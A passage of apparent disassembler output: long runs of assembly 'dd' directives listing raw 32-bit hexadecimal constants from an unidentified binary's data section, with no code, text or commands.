0F7BA6EAAh, 6C54158Fh dd 3F5C4CEEh, 7F9FE5D6h, 5CDC3D09h, 4E2D7605h, 68819734h dd 67438837h, 0F8DAAABDh, 3DCF2721h, 0BBD102FEh, 3413CD83h dd 0F5A27508h, 0F7879273h, 46B135EDh, 0CF590EAFh, 55F646EEh dd 1639146Ch, 7BE305A7h, 243F81EBh, 0BEBBD7CFh, 37101789h dd 4C5BBD22h, 9CDDAB57h, 0C38D30B4h, 10D70783h, 0AF350B04h dd 4453D2D4h, 0A14D5A11h, 388D008Ah, 941BBFDFh, 38DEA391h dd 33D6BB9Eh, 6AA0F7C7h, 98BDAAA3h, 0A84D3BA4h, 0DA3EDBDBh dd 0D732B5D9h, 29B61FEAh, 5DA15505h, 438D6B69h, 6DF058C5h dd 0F0F690D8h, 23E48A1Dh, 0DC998771h, 0ED647B5Bh, 7E55F1Bh dd 60F24B36h, 0B725EBE3h, 436B2EE9h, 3B43CD29h, 0B7A0612Dh dd 78454872h, 0F7F7DCC5h, 44B8CD4Ch, 0E0D5DB57h, 0BE131065h dd 0EF71DB5Ah, 692DB338h, 0A138F1DFh, 5792194h, 0FD7FFC01h dd 0C40BC8FDh, 0A91782F4h, 9DEA6610h, 6DFF89BAh, 2AA5F65Dh dd 0C4F9DA5Eh, 59389CA2h, 0E29098CCh, 0D046DF19h, 0E7AA476Ah dd 80877D09h, 0EDCA2B87h, 0B4F78FFBh, 0CDF269E1h, 0A0F802D1h dd 7F14A57Ah, 3302FEFCh, 0E5B2E303h, 4B1BDFCEh, 8DD12731h dd 0BA1F7F55h, 0AB9ADC43h, 12A2DB07h, 0F73EAA22h, 0E8A85794h dd 0F2093F81h, 92E92C32h, 0F0F4DF69h, 4F21153Dh, 0C723149Dh dd 0EB61F8Ch, 0B77744E8h dd 0BEA594E7h, 1D540250h, 4561B51Dh, 0E25F31C4h, 7D6FADABh dd 3C836EAh, 69BDBE33h, 9EEC3C2h, 200862FCh, 0EF13EBEDh dd 62A81B7Fh, 0E8CD1755h, 6A52D783h, 0C0A7C4E4h, 4A6B98EEh dd 0C459E3CEh, 4072ABC3h, 0D2F95897h, 556BDC41h, 8B16D02Bh dd 0A9354606h, 9D0FF1AFh, 0D40A85CAh, 0FADC4F3h, 69C7599Eh dd 286AAF09h, 9D5119F7h, 0E3A54D9Ch, 0F9F2692Dh, 44445CF7h dd 0BEDC993Bh, 46C58D7Bh, 0D96EE672h, 0FD37962Fh, 0ECCA2814h dd 8E854812h, 82582A56h, 1E14FEE3h, 0EA9DC8DCh, 0F0703303h dd 9375D2E4h, 0D862245Dh, 70F4CFA2h, 46E94774h, 20577A0Bh dd 52813B30h, 0BAC365ADh, 21C3F401h, 69A25A5Fh, 974A9F83h dd 9D9E1A79h, 9F82D1D7h, 96CFF3AEh, 482E9DDBh, 8B2F95D1h dd 0BB10A456h, 38D5972Bh, 2B735DC1h, 0FC50836Bh, 5750641Ah dd 0BE2C2D1Eh, 6B5A62D7h, 0EDCBED53h, 65F3FE03h, 40E9AD87h dd 49E01245h, 0EBA1F1AEh, 0CDEA6AC5h, 3DE89939h, 114CF1F1h dd 47887E3Eh, 39286F93h, 5130E079h, 7AAD8E20h, 35E1950Ch dd 0FE1F3D20h, 0A079E7EDh, 6C0F0648h, 473135BBh, 0C3BA8EBFh dd 9AB5762Fh, 0BFE0EC39h, 70851CECh, 5F54353Fh, 0BE2552C6h dd 2553198Dh, 8476BB68h, 0DAC2D0AFh, 7344EFD6h, 0BF99C5Bh dd 503C53E1h, 71C27079h, 0E2E3CFBh, 0E9FF0ECh, 4209907Eh dd 8D5C3CA5h, 23E05CE4h, 0B892725Dh, 0E6DE8EE5h, 284334AAh dd 146E749Fh, 2EF7261Eh, 0C55EFD8Dh, 5790B5B2h, 923A92EEh dd 0B3F1C36Dh, 0BAB3AB8Bh, 0EED7BDFDh, 33F9BED0h, 0DC487EE7h dd 0DAFE2722h, 572F8F88h, 46706A50h, 0FA73C2A8h, 0BCFC4561h dd 82F82B0Ah, 428DB073h, 0F376B370h, 0EA535EBCh, 0ED740C9Fh dd 0B8A58EEBh, 93F57D3h, 0B15C6240h, 7747EE96h, 0E3AA4521h dd 8A16823Ch, 0B92F4B1Eh, 65E7F377h, 9000E7D0h, 0F0D9FFE5h dd 0FEFA1E1Bh, 1A672225h, 0AFA8280Ch, 0F7DA2BE3h, 7EAC6A4Ah dd 133336BAh, 1B66CED7h, 79AAE8F2h, 0D74C71B2h, 4C2A0D85h dd 0AAEE1275h, 969D04Ah, 0D96BF3D9h, 9C283B0Fh, 8A9F6A23h dd 186FC36Fh, 0EBE8509h, 0A502687Ch, 5C1B1850h, 0A502C103h dd 14574AACh, 51C87729h, 2ECC7195h, 7B99E2F8h, 0A02DF4B2h dd 0F76C4E90h, 0D3D6FF6Ch, 120ECA20h, 68629C37h, 0A8050B52h dd 0C7F4BF90h, 891D7495h, 0D3AE97DEh, 0E059795h, 0B0D7D857h dd 4BEFDED7h, 0D99F97E0h, 0D5623BE6h, 98AA8A17h, 0AEBBB21Ch dd 756DE5CAh, 2CD91C1Bh, 159DABDAh, 495A9F3Fh, 0D9B4271Fh dd 52CDDBD9h, 28925F0Ch, 7A2D8309h, 0A86EF8Bh, 2BA3B31Bh dd 51BBB11Bh, 0B7956DE1h, 9629A27Fh, 3FA34550h, 0BAC62C30h dd 5A5755CDh, 0F5EA1BE2h, 78DDD85h, 0EA54D0FCh, 0BB0CD7E4h dd 0DA95B3ABh, 6841D245h, 0B94DE15Bh, 1E5830CEh, 0B9281F68h dd 0A48B6680h, 0E1C6DD4Ah, 18A38946h, 12B70CBDh, 0FEF7C4ADh dd 0F828A649h, 0DFAADC61h, 54222E5Dh, 0EAFB2D23h, 0EB655E1Dh dd 9A1B949Ah, 0BF8A74DAh, 93E61C58h, 0A4BBBF24h, 9555CBF0h dd 0D486D8FDh, 0D8B8B4C9h, 896444F8h, 8E66BB2Eh, 0C99E2709h dd 0B7983162h, 714BB83Bh, 0D097DAEEh, 3910AE71h, 0E6226E06h dd 0A9E71C5Fh, 4ECA99FAh, 52DF5ADDh, 9B2D7A28h, 0F0D72EB9h dd 23ED4BEFh, 0C912FEAEh, 71D70915h, 0D89B5D17h, 90E53FD5h dd 958BB6Ch, 0C34B9DABh, 43470E4Fh, 0DB868D2Eh, 0F68AA604h dd 0ED101F12h, 0DA02CA7Ah, 0BB5ECA21h, 72FEA118h, 638722FBh dd 0CBAC0AE7h, 0AA52E41Bh, 7EADB6A6h, 0FDAC6F36h, 13A568AEh dd 0AF533655h, 4B7F5010h, 7A8D750Eh, 0CD95BF9Dh, 0EA01A36Fh dd 0FD7CE9DDh, 5289CEE3h, 1A490EACh, 0D33254D5h, 32E1EED4h dd 8B112B66h, 0D2BD3610h, 0F92C1C1Eh, 9657335Dh, 0D5F6D98Ah dd 196988FBh, 1F8CA028h, 5AC3C4FEh, 532A91D1h, 3E7F7B71h dd 227B8600h, 0C2782BD9h, 8B974871h, 0A148E270h, 0CA78CA80h dd 2A87EA71h, 69150F80h, 495D53D7h, 0B14F7CE6h, 0E7D429F2h dd 95AA1F65h, 0ACB338D2h, 0C11177C1h, 3E2CF8F1h, 0F239B438h dd 4DF545FCh, 65A29D9h, 3531066h, 0B1D33875h, 1833BC4Eh dd 2FDC383Eh, 292FE0FBh, 7455079Bh, 92838AB2h, 0AB15B1E5h dd 90B87BD0h, 9FB917Fh, 0DF4E2D93h, 8F15F1Bh, 4F216701h dd 1FE5D07Ch, 17F310A7h, 25F917AAh, 8EC649AAh, 0C2746C9Ch dd 0A80155C2h, 3B6DF52Bh, 636753BBh, 156C0B6Dh, 0D17531BFh dd 0FCDE3A1Ch, 4E15B825h, 0EAE18277h, 0FBF343CEh, 0E8B462B3h dd 56EBA10Dh, 0EA4469A2h, 0ED5A9356h, 38BCB59h, 5C467F41h dd 803EABDDh, 0F9CC3682h, 9CAB750Ah, 534E065Eh, 0A4C0DAF4h dd 0AD353849h, 0E210BB14h, 55D90084h, 8DD2B440h, 0E9F7FC93h dd 143084D2h, 0BC22E165h, 0CFE5921Ah, 0A9804C5Fh, 0D5C5E5CBh dd 0D99A9134h, 3DF5A1B9h, 0C8C292ABh, 0B1BF6AC9h, 7CC63BB0h dd 4CDC9541h, 0AE2DC99h, 33318BD0h, 7F4A353h, 47E0BE8Eh dd 0ED082595h, 0CFBF55D8h, 89F20660h, 588A016Dh, 2109A7FAh dd 0F278F169h, 0AD826C1Dh, 1EA87974h, 36EB537Fh, 42AC5A29h dd 0FAD565C9h, 523C7621h, 0F03097FCh, 1C36F1BEh, 0F827D53Eh dd 46AD9218h, 1107FBD0h, 0BA812EA1h, 2F6C9BEDh, 6BA8442h dd 62BDEB6Bh, 0E5D9A0C9h, 39745489h, 0CD695672h, 96C42550h dd 2D276D2Ah, 0A1157D97h, 94B58964h, 915D8172h, 1A61C83h dd 8CE4633Fh, 0DA3E122Eh, 904C8AB2h, 1828FC3Fh, 4AAD607Ch dd 1D5A0F77h, 5B4996B9h, 0CD2A349Ch, 0F77B4F71h, 95C22158h dd 0F6C822CAh, 9C9EACD3h, 0F6E4D4DBh, 0D7EECA60h, 9996D505h dd 0EEDBF6F3h, 6F3E63ACh, 48EBB019h, 0ADA0DCE0h, 8E994F2Fh dd 717670CAh, 9126AC67h, 97F63FB2h, 0A0E6CEC3h, 0BD6517F5h dd 0FF38E349h, 46157A6Dh, 16C1F2Fh, 0BD5B52B4h, 68D30EE8h dd 0D63A52A3h, 0C9A99C0h, 0B51A3ABFh, 3A1B9FB7h, 0C189E4E9h dd 90F28D0Bh, 6D0D5ED4h, 0DA3446D7h, 0AD3C3B85h, 45CD940Ah dd 94A3157Dh, 0F37FC12Fh, 27C7A0A5h, 3C50AAE9h, 21E63BB6h dd 0EF094873h, 626DA22Ah, 0B5300EB7h, 0E13176CDh, 94B8D477h dd 66BEC678h, 5CCCCDEBh, 42FF8849h, 6CE6551Ah, 15A75D5Ch dd 8F445323h, 0FF88C0E2h, 0F872A8C9h, 0A7326059h, 0F72EE671h dd 0A9CADF33h, 61DA8CCh, 626C2B6Ch, 42B84512h, 0A53078BEh dd 8730B7EBh, 3F3E13F2h, 6AAD3DEDh, 0EF91305Dh, 0C68BBE39h dd 0F50D1ED7h, 40E9F3FCh, 75CCFD25h, 6812A9DFh, 61BCA817h dd 4DC95BFDh, 5B2D2C11h, 0F68D7490h, 4972F68Ch, 1413CF32h dd 0AFCCDC1Eh, 567F0252h, 77AED2E1h, 73D93721h, 721D1327h dd 0AD8DA550h, 5438E0D4h, 0A1E4C3BEh, 1E9E6E0Dh, 7F442213h dd 5C3B892Eh, 9B290F55h, 0BAC12711h, 6F0A52DAh, 74959405h dd 9D5527A2h, 0A7A8D629h, 0ACD13D2Dh, 75E9AFECh, 4BFBFA68h dd 172355A2h, 7C403628h, 760FF554h, 1BAA35E3h, 7E0E5AEBh dd 508C5D48h, 91489976h, 0C978EA9h, 9C55248Ch, 0AB6C676Dh dd 0E2D4A8A6h, 9F68CF46h, 0AEC4276Ah, 0B274A5DDh, 0A814F27Ch dd 5D8AF04Ch, 711ED9CBh, 9C4F162Ah, 7B845911h, 5A310225h dd 4CB9FE5Dh, 0BEE30FC6h, 0AA3201D7h, 35A27DFAh, 683B66BCh dd 581E41B1h, 8F9E5AB3h, 0A7CC04D3h, 1AD7EC2Dh, 0D15B6CB9h dd 7BF3CEC3h, 0E894A276h, 1755AE06h, 96194E4Dh, 0E2B3ACD5h dd 0EB75F7E1h, 0CEDD3885h, 754CF87h, 18F3CB1Dh, 0BCAF04A7h dd 1CABBA9Dh, 0D976E5EDh dd 0E4C288ABh, 99CB075Fh, 651E74E5h, 0AC354617h, 0AD4E26E8h dd 99BC9913h, 0B16638D8h, 0A06E1350h, 7C6AF8F7h, 6614CDC1h dd 98981DDBh, 1CF7A2BBh, 71ED3761h, 4DA4E471h, 0FBD2AC2Dh dd 783412B4h, 0D8AEDE7Dh, 151E48F2h, 0B45282E9h, 0D980158Bh dd 3FD9DC63h, 728F6991h, 0E5A43AABh, 7503A2B3h, 0DC7C14A7h dd 755C59FEh, 0AEC621E7h, 0C6A475D2h, 0D3C8F095h, 4C3F5555h dd 0C528DBEEh, 0FF5A13B1h, 56ABAD3Ch, 36FA5FC2h, 6DCEB2F1h dd 0E5F6FFCh, 9A8855F5h, 6851450Dh, 235FA130h, 0B984FA85h dd 19AC3ECAh, 0A71AA5FFh, 0EAAA0998h, 558C4F9Eh, 2A6F42A8h dd 0C05D553Ch, 4A575B79h, 95820E69h, 4B21F137h, 94DAAAF1h dd 0CAA98ADCh, 0FA666114h, 0BBB5ED6Ch, 5B60C237h, 8F681B97h dd 5A6EB64Bh, 1BEC9E68h, 4044D58Fh, 0B7739B17h, 9C5CA461h dd 0EB6F36DDh, 28BD18CDh, 99886E2Ah, 6D6CA32Bh, 99EDCE0h dd 33564A9Eh, 0F7F8E5C1h, 8BC5B0E6h, 0FE8699F9h, 0CE94B2A2h dd 730E7679h, 1DBC6B44h, 0A2CE2E7Dh, 0BC7B3F1Fh, 973DAAB3h dd 0AC1E636Fh, 0E356C15Dh, 0E125FC5Fh, 8F9EE067h, 915F83Ah dd 43A87A38h, 2BCF98BDh, 0ADFE0615h, 2A913256h, 25FC53D5h dd 6C2AFEADh, 85A45E79h, 3A8C825Fh, 1444D8FFh, 0C087B6AAh dd 0D555B6B2h, 890E1C0Bh, 0D1EA7F01h, 0A8075FCEh, 0E5D7AD53h dd 0E2CB8BC5h, 6BF50E17h, 67A39336h, 688A80D5h, 19A9AB29h dd 0B937F435h, 2B9E6ACFh, 0E745BC40h, 49A491AFh, 521E1906h dd 0C3BAB76Fh, 472768B5h, 7F425FF2h, 0FC5C0973h, 0AAB0AED0h dd 0ADAD3222h, 6CE2994Ch, 0CE034612h, 519C781Eh, 4D74DA63h dd 1C7781F4h, 99A53074h, 958736D1h, 0B12B6DF8h, 0CF2E5FBAh dd 0DA0E5E34h, 0CEB522EEh, 5F87045Eh, 0BB445491h, 0FBD338A2h dd 0C1414912h, 0F57124A7h, 837C02B2h, 3FA9A7F2h, 6645EB46h dd 1CBD0A77h, 0D769A4F8h, 677178B9h, 7C49FC8h, 1FB1D725h dd 0FF4D08E3h, 0D240B741h, 894CB303h, 1E341732h, 1AC9FDDCh dd 148D64E6h, 3A78267Fh, 8FFD8161h, 99462C60h, 5968BD2Ah dd 0DBE88CCEh, 645DCFFh, 372B6E6Fh, 0B2A1F40Eh, 0B621ECDh dd 775C7C64h, 587E2AF8h, 0E65D5D53h, 55B43BEFh, 36C10E0Dh dd 0C423189Dh, 419D8E6Ah, 19BC31DBh, 1A18412Eh, 1AB517D3h dd 1BB49C1Fh, 0A117CEA4h, 2FA0562Bh, 0F4750B81h, 0C42A531Dh dd 4BA3A586h, 1AE3FD2Dh, 7BA860A4h, 0EDC87039h, 0EACCAE07h dd 0F16C9FE3h, 0CA2CE636h, 237162A0h, 0BAF8AE80h, 6922C0B6h dd 1BCEE5E7h, 0B6B12E93h, 498C3693h, 1D03B12Dh, 54630FC2h dd 5CF6E271h, 223D2284h, 0F32BCA05h, 1AD871C0h, 0CB89C279h dd 7597E557h, 1FEAABA7h, 93114945h, 0F810D441h, 0DB34CC98h dd 2C28F756h, 0DBB9609Ah, 2C11443Ch, 475CD477h, 5758132Fh dd 54849F3Fh, 8F711110h, 40DD06E6h, 37347897h, 5FD837D5h dd 1EB4CFD2h, 116F7984h, 6C2B7667h, 0E74B052h, 81D925Ah dd 0F1906C5Ah, 176DE9FCh, 0FEAD6F4Dh, 9EAB7D9Dh, 94E1D49h dd 0A11A44AEh, 717C5F5Eh, 24CE50F8h, 77A09FBAh, 8A2B2BEBh dd 50EE4D62h, 0B06B0248h, 6F7F6F78h, 0F82FF21Fh, 0F65DBAFBh dd 0D89DFE88h, 99395CCFh, 0B34D2BEBh, 83DB9C26h, 0DD607D08h dd 0DD62192Ch, 9CE5DAEh, 3EA9E0EAh, 7E35C454h, 0EDE47918h dd 9F59F71Ah, 0FC15CF3h, 0A1F87EDBh, 6814E7C6h, 0FC0F3C5Dh dd 14BBF253h, 76348ED7h, 9A97DA9Fh, 0ADAC8528h, 0DABDCCE0h dd 48E94357h, 0AC63A207h, 5FE3A60h, 9697478Eh, 0FA186D88h dd 187AF447h, 5C920820h, 9B12B0D9h, 0F243A439h, 40AD37D8h dd 0A367DB0Ch, 82F50A2Dh, 0FDB4FC10h, 6E2652B0h, 369049FCh dd 0CFC4FA9Ch, 0EF853A97h, 0FDB8AF16h, 79A7EA17h, 401817E4h dd 0F27FDDD8h, 90FD5727h, 0DA56A366h, 0CC036247h, 9EEAF1E8h dd 15B76DDBh, 0D81E9225h, 0EDEE61F9h, 0D6E54CC0h, 0F47982E2h dd 0F17E1CF0h, 570B18D8h, 0CBBF0FB2h, 4CB1834Ch, 4E52C7D2h dd 1574F2B0h, 0BEB8F741h, 22CD8758h, 979C2CF5h, 13D75134h dd 16A6636Ah, 0AE026354h, 14B48DDFh, 3F9CFB13h, 0AA0759B6h dd 3980EBC1h, 1EB125A9h, 48FFB32Bh, 0DEB57728h, 0EBF3728Dh dd 0AAC74494h, 9ED304FBh, 0FE4DEBFDh, 150D43F0h, 0DAA4A2AAh dd 0D513F3EBh, 58A8FCBBh, 374ECDD0h, 0FB5370B3h, 592AEB90h dd 0CBF6F655h, 27BF40CFh, 568E4EB0h, 0F399C523h, 927B469Fh dd 0DC2874D5h, 574BAC21h, 60A21EADh, 0E397ECD2h, 0D377EB95h dd 0A347DD7h, 1B098A04h, 2A34B555h, 7FC8954h, 0CFDCFB18h dd 6C81DC0Ch, 214A2933h, 0B86B85F6h, 258AC586h, 0C4A501CFh dd 88C709CFh, 48A81091h, 1416DF81h, 81E149D7h, 4A5ADE25h dd 3ABF50DBh, 0EF903837h, 9E073662h, 19FE7457h, 0EFC4F66Ah dd 0DD5F7882h, 3BD00467h, 3D48DFAAh, 88110549h, 67C13B18h dd 9C4BAA29h, 0BA17E980h, 90678612h, 0C67A64B4h, 0BE86F40Dh dd 651D0BB5h, 95F4AFF8h, 32B5AAEDh, 0D4CB2BC1h, 0F56E41B8h dd 7E23FDEEh, 684B3148h, 8FF47966h, 81ED429Fh, 0BE72CAF9h dd 7C4377EEh, 565DD68Eh, 0F43D0172h, 618218DCh, 0DDD2256Eh dd 4BECD45Bh, 798288CEh, 570A4DA3h, 556CA2C4h, 0C43944BAh dd 4568FA21h, 0F0D8295Ah, 34D4B43h, 0A50397C1h, 0F3FDEAF5h dd 0A40BE5CAh, 0BEA8D083h, 5219897Bh, 0BFE22538h, 0B9AF8500h dd 6572458Ch, 0FCB46FAEh, 0D1EC1F80h, 0D417F93Eh, 2AA8571Eh dd 7613B1BCh, 41F71D71h, 7672E642h, 87E2E33Fh, 68CC91FCh dd 5157684Bh, 2D7C1F02h, 0E624B479h, 3476E882h, 0FFAF8DECh dd 0DD0BC2FFh, 0C4E72A5Bh, 0B88D1EADh, 0DBE05F5Fh, 1525DD52h dd 0C595C423h, 145F430Fh, 0DB16F4DCh, 0C876ECB7h, 657DDBF2h dd 0E3576F8Ah, 2A6C6031h, 0CA4897F7h, 2BDDD263h, 45F866F3h dd 4BEC64B4h, 0BD48FA29h, 0BFAAC93Dh, 0D25F1C34h, 27992BB6h dd 2D1604A6h, 0CD58AF67h, 3ED55BC1h, 0F9987272h, 0B94549DEh dd 5368A41Bh, 0B2E3F6BFh, 4DAB5D7Ch, 70CCA2A0h, 0D17E677Ch dd 0A710D12Dh, 0F6841D52h, 0E20B953Fh, 0B221251Fh, 0BC0B6434h dd 0DE2329D6h, 20C27CBh, 13FC339Ch, 0DA69484h, 0CF0BD345h dd 0A76D4E60h, 0D165E168h, 0E219767Ah, 12A99614h, 0DAA9428Bh dd 64AA2A8Ah, 0A3AFACB4h, 0B898BDAFh, 67C85906h, 0F9A45F28h dd 0F7D57340h, 1FEC9D53h, 0B0BF2646h, 7144617h, 0BFCA198Fh dd 0BA6AE5E4h, 0D05F7556h, 0C6D155D6h, 617AEDF4h, 886A03ADh dd 5D784E10h, 0AD0DA2B6h, 0FFAE296Eh, 8252DE33h, 0B2173DBFh dd 0FC5B26D2h, 0B4BB16D6h, 1FBCE648h, 0A82B4A1Ah, 643C0747h dd 60AB373Eh, 658FED1Ah, 0A6FB1893h, 0C0F80C1Ch, 6CAD1306h dd 255AB5D8h, 0BEF4594h, 0BC8B580Ch, 304B55EBh, 0C454EFC7h dd 0C35E4912h, 0D7AFDF11h, 8A244BCEh, 6512F2AFh, 0BD952993h dd 0D37A5AE4h, 0C36290F4h, 0DFC5CDE0h, 0D99D4B95h, 0A0848DECh dd 0E39ECA15h, 9B84AACCh, 32028DD3h, 0B372CF06h, 0E6C6A0D8h dd 2509D21Dh, 9135DCFDh, 0DBC85EE4h, 0FE7C5044h, 4268F834h dd 90EB4ABFh, 7F8B7E2Ah, 0D7682EC5h, 3296161Eh, 4996D6EEh dd 0BB3175E4h, 0E7DC1C08h, 0EF730E84h, 3C8ED093h, 0FDE4C74Ah dd 5C1E801Ch, 0A3E65614h, 487F441Dh, 50D252E3h, 0CBDA3A7h dd 0F9F6DE9Ah, 8F9C30BAh, 0EEA65794h, 9F1FAE42h, 3348E671h dd 0F4625F7Ah, 7BD77ECDh, 5E3D77B6h, 0DA40E02h, 0C2FA843Fh dd 7ABEBB3Bh, 627AEF27h dd 91375A0Fh, 0D94E7255h, 0AA0D497Ch, 0C490AB61h, 0DC5A227h dd 0EAEB7454h, 9186B12h, 16AE5F09h, 4B1EAAFCh, 7F52B564h dd 6B7D805h, 0F0F31C0Fh, 73AFA0FEh, 0DD52AAAFh, 4C3EF65Fh dd 52CA1ECEh, 3217F553h, 79F06363h, 48DB7381h, 111A4BBFh dd 0E7C61CBAh, 8C0757C6h, 0AF706A56h, 0B6D2DB87h, 734F3E46h dd 4FB83DE3h, 909EF5A7h, 0E9D25F59h, 13240B53h, 0EF3A175Eh dd 6C463A08h, 95E07ABDh, 0F86BA349h, 24753168h, 90FD5E02h dd 29C7787Ch, 51B4B919h, 0F26FE5D9h, 0C48C5E32h, 0B049ABCh dd 548CDCEh, 9082A146h, 0C39DE6B7h, 0A359DF90h, 660A2339h dd 4D5B48E2h, 0DFFA7969h, 0A83803D8h, 75B3824h, 5D9925B0h dd 0B63A8B40h, 0DAB8B77Ah, 20DC17F7h, 405FD969h, 0B3244E3Fh dd 3DFE9296h, 8444AAE6h, 0C7653AFAh, 5C6D2929h, 0D17927AEh dd 0B5CACB75h, 8B46E57Ch, 0C8E6FB7Bh, 5F25DFA2h, 0C0FEB918h dd 86AA48AAh, 3F9725E1h, 841FE64Bh, 46152E18h, 52D35B17h dd 0B1975B7Ah, 0EAD63337h, 0B11E0D1h, 79638F66h, 0E81C1975h dd 0D4AEDBB6h, 0AEDD2944h, 23CA8558h, 1A71BAB3h, 6648ADD1h dd 0ACA78850h, 39662A8Ah, 0AB0E3AFEh, 4E24B7EEh, 0C42B09BDh dd 24B1B672h, 9B56B1A9h, 8877B09Fh, 5148F71Ah, 883679F9h dd 55E33CF6h, 544A83D3h, 9213FDBEh, 6759CB39h, 8B563970h dd 0CBFFC337h, 0F4685487h, 0C33C29A7h, 0A7102032h, 8FC1CA6Ch dd 0CC95D6E3h, 956A3B19h, 7BB4E6ABh, 0D64467EDh, 0EC3552A0h dd 0F7CC3E94h, 0C657C1B7h, 55A589CFh, 52194DA4h, 0A5DA76E5h dd 4EED148Dh, 0AD8AD560h, 7567ED32h, 0FB90FA8Eh, 30F5C615h dd 370B33C5h, 0AE3D96E2h, 0B660B968h, 0BF411D6Fh, 8B77776h dd 85EC29D9h, 0B53C6685h, 0F033833h, 0E9B81F1Ch, 0F88AE0FDh dd 0B1BE44A1h, 5F1EF3A5h, 469194ACh, 1CB816A6h, 0EA6462ADh dd 7174D07Bh, 0C947EBDCh, 0AD84A9C2h, 57519539h, 0A523C6EFh dd 79EC937Ch, 0E29A47EBh, 5A759AA8h, 0E7167B8Fh, 0E966F2C8h dd 2B230568h, 0F0EFA2Bh, 9ED01DACh, 0AA164DC7h, 2EB2A067h dd 0BAFB8A2Ch, 4F43B807h, 44C1EC0Fh, 95ABE0DDh, 1DB49377h dd 0AD94C11Eh, 265E6360h, 8AE1C75Fh, 0EE24266h, 0D8B9BFA3h dd 0C3932E55h, 5BCD5AEEh, 221FB575h, 57412AC3h, 8F5A82F2h dd 0E65E41EDh, 0B2AB3E33h, 0FD6DB73Ah, 0EE21CBE9h, 2718D63Ch dd 0FCD69C0Ch, 0AAF2387Bh, 0B6D2F21Bh, 2B64A28Eh, 677EDF6Fh dd 8016DBD0h, 0FC12B01Bh, 40C8C43Ah, 7CC850D1h, 6DCE4FD0h dd 6DFD27FBh, 9B865038h, 4198A8D6h, 0EB670781h, 3ED54C77h dd 827F2BCEh, 0D2993673h, 34DA1D72h, 0FD9577D4h, 0E34C8A3h dd 89BBB85Ch, 0E4655D62h, 5BDDF276h, 0F344F9F5h, 7818064Ah dd 9DDEF157h, 0CCF89544h, 77A7DDC3h, 79B43462h, 5E28F7E0h dd 882AD9EDh, 9572E162h, 8B52E182h, 329F846Ah, 1E1F8DFAh dd 0AF945A55h, 0EA57EDC3h, 1B82FBA5h, 0CCAD71EBh, 7FDA949Dh dd 6F2E8EBBh, 56A40554h, 87B21D74h, 0B3882BFAh, 2A140299h dd 6E5F035Eh, 447BE9AFh, 988759Dh, 11D106EDh, 4717CCF2h dd 9C7E39EFh, 57FD545Bh, 5D69E42Bh, 0BDD9FB97h, 3735DA7Fh dd 0E72AD87Eh, 4F8F6155h, 0C1362872h, 70FC8DFDh, 0EAE54DF6h dd 68F4778Ah, 766604EFh, 120BD6BAh, 9DC527D8h, 46BAE518h dd 0DB052ECFh, 0A110061Bh, 9A67EAB2h, 0C7C7841Fh, 7A2D40C2h dd 4A9380BBh, 0D567DE65h, 2EE37538h, 0CCED4CABh, 0A1309275h dd 5549ECA5h, 0D6628837h, 29254AEBh, 701BF1C0h, 4AB7C23Fh dd 0CEC48BD1h, 0A5D77655h, 933FBC62h, 0DDE346BBh, 5F734780h dd 0F8C69BB9h, 0E57424CBh, 0F3C4A4B8h, 0F0990826h, 2B2BBBF7h dd 6C7729A9h, 10CA43EEh, 0E96C8607h, 9D1E0BBCh, 0D72815A3h dd 0BE2ACE4Ah, 9AF8E5CCh, 6921ED33h, 0D3AF9D98h, 0BBFDEF4h dd 96D3A77Dh, 0A04328D8h, 42FF03E7h, 0DAF323F2h, 0B1467A54h dd 0ACDAA668h, 0EF492BCFh, 347D346Bh, 298713EFh, 0F8F6C1BDh dd 0BB0DE235h, 982F80DEh, 4BFDC3E7h, 0FC38CBBDh, 8AF8F0C2h dd 3D18F700h, 3ADFE8ADh, 4703DB84h, 4664F95Dh, 7EF717ACh dd 994892D7h, 2AD4052Ch, 0D4E492F2h, 0F2FE519Fh, 0E6471B2Bh dd 72AC8458h, 5B8FFD02h, 0B72264E5h, 5BA65705h, 5E3F8703h dd 5F9D83FFh, 0F35ADDF7h, 89731518h, 0BF3B8874h, 0E0E60ACAh dd 94241266h, 8C22C648h, 42579F78h, 0FED9C78Fh, 3D7AD7CCh dd 2A4C5E5Ah, 7105BFF3h, 0B4D7C457h, 15CC7C33h, 0F2BBA4BBh dd 4D17661Eh, 53410B4Ch, 0EACAB9C7h, 0FC1A5E9Dh, 0B8B879BEh dd 0DEA7FF6Fh, 43B03DB7h, 9AF19E6Ah, 0C11A4A1Eh, 5C5EF574h dd 55FB466Bh, 4FBA674Ah, 658AE0F3h, 0C3731028h, 9925BACAh dd 0B9173D76h, 9D545D5Fh, 0A1B03A8Dh, 39CBA786h, 6DBA28ECh dd 0AD05E2h, 0D5C31DC6h, 8C59C760h, 0F8127D4Ch, 17D61773h dd 2D85E26Dh, 65B13231h, 84D7C80Fh, 9CEA9573h, 0D8F74441h dd 610D395h, 1810C281h, 91DAABC7h, 1EF75DF6h, 55EECA18h dd 6C9BDD94h, 0BFDBECA0h, 42D1CC13h, 0AF2C18D5h, 0A6650ED3h dd 0BD2293D7h, 4EE6A9CDh, 0F7E1CF8h, 0D56D7D3Ch, 0EB998BDAh dd 8D4180D7h, 2FC39E1h, 921762FEh, 2636184Fh, 0F6105272h dd 9F539CBCh, 0D91AB452h, 9A65829Eh, 0FE04B03Ah, 1A6BE1F8h dd 0DC3F4D47h, 0E776BD55h, 0D672619Bh, 0ABF8B0EFh, 39CDED1Dh dd 5814C1F7h, 0AB645D58h, 6E2AC549h, 0F2CDDDC5h, 1550A852h dd 0FB7BE851h, 0D471A6C0h, 0CDEFADABh, 999555EBh, 0FCCCCB36h dd 65526330h, 12006F8Fh, 49D0E88Ah, 50B46CEAh, 65A33558h dd 9C3E9EA9h, 3EA19FECh, 47BFDFDBh, 0D8B87A81h, 833FBA37h dd 0E87F9D0Ch, 0DB2B2F33h, 7AAF8A2Ah, 548869CFh, 325752D5h dd 1B572461h, 3C0F796Dh, 1BEB251Ch, 0DD62DB4Bh, 46EAD80Dh dd 9885153Bh, 34D1310Dh, 0FDF06F86h, 5437F4C4h, 307B3D0Eh dd 0F63263DFh, 96EC75F2h, 0CF719D2Dh, 50AA0FC2h, 17E8BDAAh dd 0F50A7E1Fh, 51C0C4C8h, 97B5BD61h, 0E650CD27h, 961314D5h dd 2042F8Bh, 6C650Dh, 946DD8AFh, 256BC74h, 92D26547h, 245EB5B0h dd 0A2A5C5C7h, 0B2FE06FFh, 908AADD0h, 0FCFFF68Eh, 36A5AFE5h dd 0EFDA575Fh, 3B8DA149h, 267F43F1h, 0B5A39A82h, 0F028D220h dd 0A57AB588h, 876C684Eh, 313F1F80h, 40519F73h, 0C0F8BDD6h dd 4C862DBAh, 6A30EC79h, 